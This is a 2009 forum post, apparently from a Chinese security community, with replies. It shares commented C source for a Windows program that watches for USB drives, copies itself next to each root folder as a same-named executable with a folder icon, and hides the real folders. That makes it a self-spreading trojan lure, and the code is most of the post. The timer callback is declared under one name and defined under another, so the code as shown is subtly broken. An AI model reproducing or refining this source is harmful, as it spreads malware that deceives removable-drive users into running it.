首页
社区
课程
招聘
[旧帖] [原创][分享]一个把自己伪装成与u盘文件夹同名的程序[申请邀请码] 0.00雪花
发表于: 2009-12-31 13:49 1602

[旧帖] [原创][分享]一个把自己伪装成与u盘文件夹同名的程序[申请邀请码] 0.00雪花

2009-12-31 13:49
1602
运行后会把u盘里的文件夹设置为隐藏+系统属性,然后生成和文件夹同名的exe程序,可以骗过xp系统..也不能算是原创,以前就看过类似的代码.
注释比较清楚的,应该很容易看懂.
#include "stdio.h"
#include "windows.h"
#include "resource.h"

void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT idEvent,DWORD dwTimer);
void fdCpyDir(char szRemoveDir[]);

#pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")

int main(int argc, char *argv[])
{
	HICON hIcon=LoadIcon(GetModuleHandle(NULL),MAKEINTRESOURCE(IDI_ICON1));//文件夹图标资源 

	MSG msg;              
	SetTimer(NULL,100,1000,TimerProc);          

	while (GetMessage(&msg,NULL,0,0))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}
	return 1;

}

void CALLBACK ProgTimer(HWND hwnd,UINT uMsg,UINT idEvent,DWORD dwTimer) 
{
	char removeDir[4] = "A:\\";
	for (removeDir[0] = 'A'; removeDir[0]<='Z'; removeDir[0]++)   //遍历所有可能存在的磁盘
	{
		UINT uType = GetDriveType(removeDir);     //判断一个磁盘驱动器的类型
		if (uType == DRIVE_REMOVABLE)            //U盘属于DRIVE_REMOVABLE类型
		{
			fdCpyDir(removeDir);                 //有U盘,调用我们自己的函数查找根目录的文件夹并伪装,同时将U盘的盘符传给这个函数
		}
	}
}



void fdCpyDir(char szRemoveDir[])
{
	WIN32_FIND_DATA wfd;
	HANDLE handle;
	TCHAR szFileName[MAX_PATH];
	strcpy(szFileName,szRemoveDir);               //把U盘盘符给szFileName,假设盘符为H:
	strcat(szFileName,"*.*");                      //这里就变成了H:\\*.*

	if ((handle = FindFirstFile(szFileName,&wfd)) != INVALID_HANDLE_VALUE)      //如果查找H:\\下的*.*没有失败(既U盘中存在文件)
	{
		do 
		{
			switch(wfd.dwFileAttributes)                              
			{
			case FILE_ATTRIBUTE_DIRECTORY:                           //The handle identifies a directory
				char path[MAX_PATH];
				char szFullName[MAX_PATH];                              
				GetModuleFileName(NULL,path,MAX_PATH);                //得到可执行文件的fully-qualified path放入path
				strcpy(szFullName,szRemoveDir);                           //szRemoveDir是U盘盘符
				strcat(szFullName,wfd.cFileName);                         //加上文件夹名字
				strcat(szFullName,".exe");                                //加上.exe   现在szFullName装的就是构造好的名字了
				if (GetFileAttributes(szFullName) == INVALID_FILE_ATTRIBUTES)                  //如果U盘里没有构造好名字的同名exe文件
				{
					CopyFile(path,szFullName,FALSE);                    
				}

				if (GetFileAttributes(szFullName) != INVALID_FILE_ATTRIBUTES)             //这回就有伪装的可执行文件了吧?
				{
					strcpy(szFullName,szRemoveDir);
					strcat(szFullName,wfd.cFileName);           //获得文件夹的绝对路径放入szFullName
					SetFileAttributes(szFullName,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);//伪装后把U盘里的文件夹设置成隐藏和系统
				
				}
			}
		} while (FindNextFile(handle,&wfd));
	}

}

[课程]Linux pwn 探索篇!

收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 92
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
看不懂 代码、
2009-12-31 19:31
0
雪    币: 27
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
刚学C语言。。。大部分看不懂了。。。。
2009-12-31 20:06
0
雪    币: 5
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
学习学习!!
2010-1-2 00:01
0
雪    币: 137
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
呵呵……支持一下新成员!
2010-1-2 00:59
0
雪    币: 18
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
学习下。“#pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")”这个是什么意思哦?希望能帮忙解答,谢谢
2010-1-3 11:19
0
游客
登录 | 注册 方可回帖
返回
//